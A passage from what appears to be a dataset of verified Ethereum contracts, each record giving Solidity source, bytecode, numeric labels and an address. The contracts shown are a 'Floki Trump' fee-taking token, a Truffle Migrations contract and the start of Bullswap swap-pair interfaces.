bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x8843c076aa229017463E97b8653Ed5A8E39653Eb); _feeAddrWallet2 = payable(0xadBF3CbF631Bc358965A12fC9773125fAFDc3709); _feeAddrWallet3 = payable(0x352C263d17CaD1FBfC007b03f3dA3a7B9a018083); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 1; _feeAddr2 = 9; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000* 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b604051610125919061251b565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612134565b6103e4565b6040516101629190612500565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d919061263d565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120e5565b610413565b6040516101ca9190612500565b60405180910390f35b3480156101df57600080fd5b506101e86104ec565b005b3480156101f657600080fd5b506101ff610593565b60405161020c91906126b2565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190612170565b61059c565b005b34801561024a57600080fd5b5061025361064e565b005b34801561026157600080fd5b5061027c60048036038101906102779190612057565b6106c0565b604051610289919061263d565b60405180910390f35b34801561029e57600080fd5b506102a7610711565b005b3480156102b557600080fd5b506102be610864565b6040516102cb9190612432565b60405180910390f35b3480156102e057600080fd5b506102e961088d565b6040516102f6919061251b565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190612134565b6108ca565b6040516103339190612500565b60405180910390f35b34801561034857600080fd5b506103516108e8565b005b34801561035f57600080fd5b50610368610962565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a9565b610ebf565b60405161039e919061263d565b60405180910390f35b60606040518060400160405280600b81526020017f466c6f6b69205472756d70000000000000000000000000000000000000000000815250905090565b60006103f86103f1610f46565b8484610f4e565b6001905092915050565b600068056bc75e2d63100000905090565b6000610420848484611119565b6104e18461042c610f46565b6104dc85604051806060016040528060288152602001612b8c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610492610f46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f59092919063ffffffff16565b610f4e565b600190509392505050565b6104f4610f46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610581576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610578906125bd565b60405180910390fd5b68056bc75e2d63100000601181905550565b60006009905090565b6105a4610f46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610631576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610628906125bd565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068f610f46565b73ffffffffffffffffffffffffffffffffffffffff16146106af57600080fd5b60004790506106bd81611459565b50565b600061070a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115bb565b9050919050565b610719610f46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079d906125bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f466c6f6b695472756d7000000000000000000000000000000000000000000000815250905090565b60006108de6108d7610f46565b8484611119565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610929610f46565b73ffffffffffffffffffffffffffffffffffffffff161461094957600080fd5b6000610954306106c0565b905061095f81611629565b50565b61096a610f46565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee906125bd565b60405180910390fd5b601060149054906101000a900460ff1615610a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3e9061261d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000610f4e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1d57600080fd5b505afa158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b559190612080565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef9190612080565b6040518363ffffffff1660e01b8152600401610c0c92919061244d565b602060405180830381600087803b158015610c2657600080fd5b505af1158015610c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5e9190612080565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce7306106c0565b600080610cf2610864565b426040518863ffffffff1660e01b8152600401610d149695949392919061249f565b6060604051808303818588803b158015610d2d57600080fd5b505af1158015610d41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6691906121c2565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff02191690831515021790555068056bc75e2d631000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e69929190612476565b602060405180830381600087803b158015610e8357600080fd5b505af1158015610e97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebb9190612199565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb5906125fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110259061255d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110c919061263d565b60405180910390a3505050565b6000811161115c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611153906125dd565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111b357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e5576001600a819055506009600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112a15750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130f5750601060179054906101000a900460ff165b156113245760115481111561132357600080fd5b5b600061132f306106c0565b9050601060159054906101000a900460ff1615801561139c5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113b45750601060169054906101000a900460ff165b156113e3576113c281611629565b6000479050670429d069189e00008111156113e1576113e047611459565b5b505b505b6113f0838383611923565b505050565b600083831115829061143d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611434919061251b565b60405180910390fd5b506000838561144c9190612803565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836114a29190612778565b9081150290604051600060405180830381858888f193505050501580156114cd573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115179190612778565b9081150290604051600060405180830381858888f19350505050158015611542573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361158c9190612778565b9081150290604051600060405180830381858888f193505050501580156115b7573d6000803e3d6000fd5b5050565b6000600854821115611602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f99061253d565b60405180910390fd5b600061160c611933565b9050611621818461195e90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611687577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b55781602001602082028036833780820191505090505b50905030816000815181106116f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179557600080fd5b505afa1580156117a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cd9190612080565b81600181518110611807577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186e30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4e565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118d2959493929190612658565b600060405180830381600087803b1580156118ec57600080fd5b505af1158015611900573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61192e8383836119a8565b505050565b6000806000611940611b73565b91509150611957818361195e90919063ffffffff16565b9250505090565b60006119a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bd5565b905092915050565b6000806000806000806119ba87611c38565b955095509550955095509550611a1886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ca090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cea90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af981611d48565b611b038483611e05565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b60919061263d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d631000009050611ba968056bc75e2d6310000060085461195e90919063ffffffff16565b821015611bc85760085468056bc75e2d63100000935093505050611bd1565b81819350935050505b9091565b60008083118290611c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c13919061251b565b60405180910390fd5b5060008385611c2b9190612778565b9050809150509392505050565b6000806000806000806000806000611c558a600a54600b54611e3f565b9250925092506000611c65611933565b90506000806000611c788e878787611ed5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ce283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f5565b905092915050565b6000808284611cf99190612722565b905083811015611d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d359061257d565b60405180910390fd5b8091505092915050565b6000611d52611933565b90506000611d698284611f5e90919063ffffffff16565b9050611dbd81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cea90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1a82600854611ca090919063ffffffff16565b600881905550611e3581600954611cea90919063ffffffff16565b6009819055505050565b600080600080611e6b6064611e5d888a611f5e90919063ffffffff16565b61195e90919063ffffffff16565b90506000611e956064611e87888b611f5e90919063ffffffff16565b61195e90919063ffffffff16565b90506000611ebe82611eb0858c611ca090919063ffffffff16565b611ca090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611eee8589611f5e90919063ffffffff16565b90506000611f058689611f5e90919063ffffffff16565b90506000611f1c8789611f5e90919063ffffffff16565b90506000611f4582611f378587611ca090919063ffffffff16565b611ca090919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f715760009050611fd3565b60008284611f7f91906127a9565b9050828482611f8e9190612778565b14611fce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc59061259d565b60405180910390fd5b809150505b92915050565b600081359050611fe881612b46565b92915050565b600081519050611ffd81612b46565b92915050565b60008135905061201281612b5d565b92915050565b60008151905061202781612b5d565b92915050565b60008135905061203c81612b74565b92915050565b60008151905061205181612b74565b92915050565b60006020828403121561206957600080fd5b600061207784828501611fd9565b91505092915050565b60006020828403121561209257600080fd5b60006120a084828501611fee565b91505092915050565b600080604083850312156120bc57600080fd5b60006120ca85828601611fd9565b92505060206120db85828601611fd9565b9150509250929050565b6000806000606084860312156120fa57600080fd5b600061210886828701611fd9565b935050602061211986828701611fd9565b925050604061212a8682870161202d565b9150509250925092565b6000806040838503121561214757600080fd5b600061215585828601611fd9565b92505060206121668582860161202d565b9150509250929050565b60006020828403121561218257600080fd5b600061219084828501612003565b91505092915050565b6000602082840312156121ab57600080fd5b60006121b984828501612018565b91505092915050565b6000806000606084860312156121d757600080fd5b60006121e586828701612042565b93505060206121f686828701612042565b925050604061220786828701612042565b9150509250925092565b600061221d8383612229565b60208301905092915050565b61223281612837565b82525050565b61224181612837565b82525050565b6000612252826126dd565b61225c8185612700565b9350612267836126cd565b8060005b8381101561229857815161227f8882612211565b975061228a836126f3565b92505060018101905061226b565b5085935050505092915050565b6122ae81612849565b82525050565b6122bd8161288c565b82525050565b60006122ce826126e8565b6122d88185612711565b93506122e881856020860161289e565b6122f18161292f565b840191505092915050565b6000612309602a83612711565b915061231482612940565b604082019050919050565b600061232c602283612711565b91506123378261298f565b604082019050919050565b600061234f601b83612711565b915061235a826129de565b602082019050919050565b6000612372602183612711565b915061237d82612a07565b604082019050919050565b6000612395602083612711565b91506123a082612a56565b602082019050919050565b60006123b8602983612711565b91506123c382612a7f565b604082019050919050565b60006123db602483612711565b91506123e682612ace565b604082019050919050565b60006123fe601783612711565b915061240982612b1d565b602082019050919050565b61241d81612875565b82525050565b61242c8161287f565b82525050565b60006020820190506124476000830184612238565b92915050565b60006040820190506124626000830185612238565b61246f6020830184612238565b9392505050565b600060408201905061248b6000830185612238565b6124986020830184612414565b9392505050565b600060c0820190506124b46000830189612238565b6124c16020830188612414565b6124ce60408301876122b4565b6124db60608301866122b4565b6124e86080830185612238565b6124f560a0830184612414565b979650505050505050565b600060208201905061251560008301846122a5565b92915050565b6000602082019050818103600083015261253581846122c3565b905092915050565b60006020820190508181036000830152612556816122fc565b9050919050565b600060208201905081810360008301526125768161231f565b9050919050565b6000602082019050818103600083015261259681612342565b9050919050565b600060208201905081810360008301526125b681612365565b9050919050565b600060208201905081810360008301526125d681612388565b9050919050565b600060208201905081810360008301526125f6816123ab565b9050919050565b60006020820190508181036000830152612616816123ce565b9050919050565b60006020820190508181036000830152612636816123f1565b9050919050565b60006020820190506126526000830184612414565b92915050565b600060a08201905061266d6000830188612414565b61267a60208301876122b4565b818103604083015261268c8186612247565b905061269b6060830185612238565b6126a86080830184612414565b9695505050505050565b60006020820190506126c76000830184612423565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061272d82612875565b915061273883612875565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561276d5761276c6128d1565b5b828201905092915050565b600061278382612875565b915061278e83612875565b92508261279e5761279d612900565b5b828204905092915050565b60006127b482612875565b91506127bf83612875565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f8576127f76128d1565b5b828202905092915050565b600061280e82612875565b915061281983612875565b92508282101561282c5761282b6128d1565b5b828203905092915050565b600061284282612855565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061289782612875565b9050919050565b60005b838110156128bc5780820151818401526020810190506128a1565b838111156128cb576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b4f81612837565b8114612b5a57600080fd5b50565b612b6681612849565b8114612b7157600080fd5b50565b612b7d81612875565b8114612b8857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cac2ef00e85b59db6255ea681da21583a133d04f765bf51005a95258d2c18a5164736f6c63430008040033
[ 13, 0, 5 ]
0xF319BE07FE9D9F56cBb54335718E787AA31310cA
// SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.9.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c8063445df0ac146100465780638da5cb5b14610060578063fdacd57614610091575b600080fd5b61004e6100b0565b60408051918252519081900360200190f35b6100686100b6565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b6100ae600480360360208110156100a757600080fd5b50356100d2565b005b60015481565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b60005473ffffffffffffffffffffffffffffffffffffffff163314610142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260338152602001806101486033913960400191505060405180910390fd5b60015556fe546869732066756e6374696f6e206973207265737472696374656420746f2074686520636f6e74726163742773206f776e6572a2646970667358221220eb1fea29966abd9140b092e52b6c7345c17d33f1f72b458817d8f7b38f23304b64736f6c63430007060033
[ 38 ]
0xF31a4911cA351847b566E992179f7e8647b17FAf
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; // interface IBullswapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // interface IBullswapERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) 